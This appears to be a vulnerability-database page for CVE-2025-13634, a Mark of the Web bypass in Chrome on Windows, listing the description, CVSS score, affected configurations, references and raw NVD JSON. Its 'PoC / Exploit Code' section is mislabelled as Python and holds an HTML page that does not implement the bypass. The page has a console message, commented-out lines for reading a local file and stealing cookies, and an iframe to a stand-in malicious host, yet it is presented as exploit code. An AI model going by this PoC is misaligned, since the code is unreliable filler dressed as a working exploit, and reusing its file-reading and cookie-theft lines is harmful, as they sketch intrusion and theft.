CVE-2025-13634

Description

Inappropriate implementation in Downloads in Google Chrome on Windows prior to 143.0.7499.41 allowed a local attacker to bypass mark of the web via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.41 (Windows)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13634 PoC - Mark of the Web Bypass -->
<!-- This PoC demonstrates the MoTW bypass in Chrome Downloads -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13634 MoTW Bypass PoC</title>
</head>
<body>
    <h1>CVE-2025-13634 Mark of the Web Bypass PoC</h1>
    <p>This HTML file demonstrates the MoTW bypass vulnerability.</p>
    
    <script>
        // Malicious JavaScript code that would normally be blocked
        // by the Mark of the Web security warning
        console.log('MoTW Bypass - Script executed without security warning');
        
        // Example: Attempt to read local files (if Same-Origin allows)
        // fetch('file:///C:/Users/Public/test.txt')
        //     .then(response => response.text())
        //     .then(data => console.log(data));
        
        // Example: Cookie theft or session hijacking attempts
        // document.cookie can be accessed in certain contexts
    </script>
    
    <iframe src="https://malicious-site.com" width="600" height="400"></iframe>
    
    <p>Note: In vulnerable versions, this file would not show the typical MoTW warning.</p>
    <p>Fixed versions should display the security warning before execution.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13634
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13634
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13634/
[4] VulDB https://vuldb.com/cve/CVE-2025-13634
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/429140219

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13634", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:48.030", "lastModified": "2025-12-04T19:53:52.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Downloads in Google Chrome on Windows prior to 143.0.7499.41 allowed a local attacker to bypass mark of the web via a crafted HTML page. (Chromium security severity: Medium)"}, {"lang": "es", "value": "Implementación inapropiada en Descargas en Google Chrome en Windows Versiones anteriores a 143.0.7499.41 permitió a un atacante local eludir la marca de la web mediante una página HTML diseñada. (Gravedad de seguridad de Chromium: Media)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/429140219", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}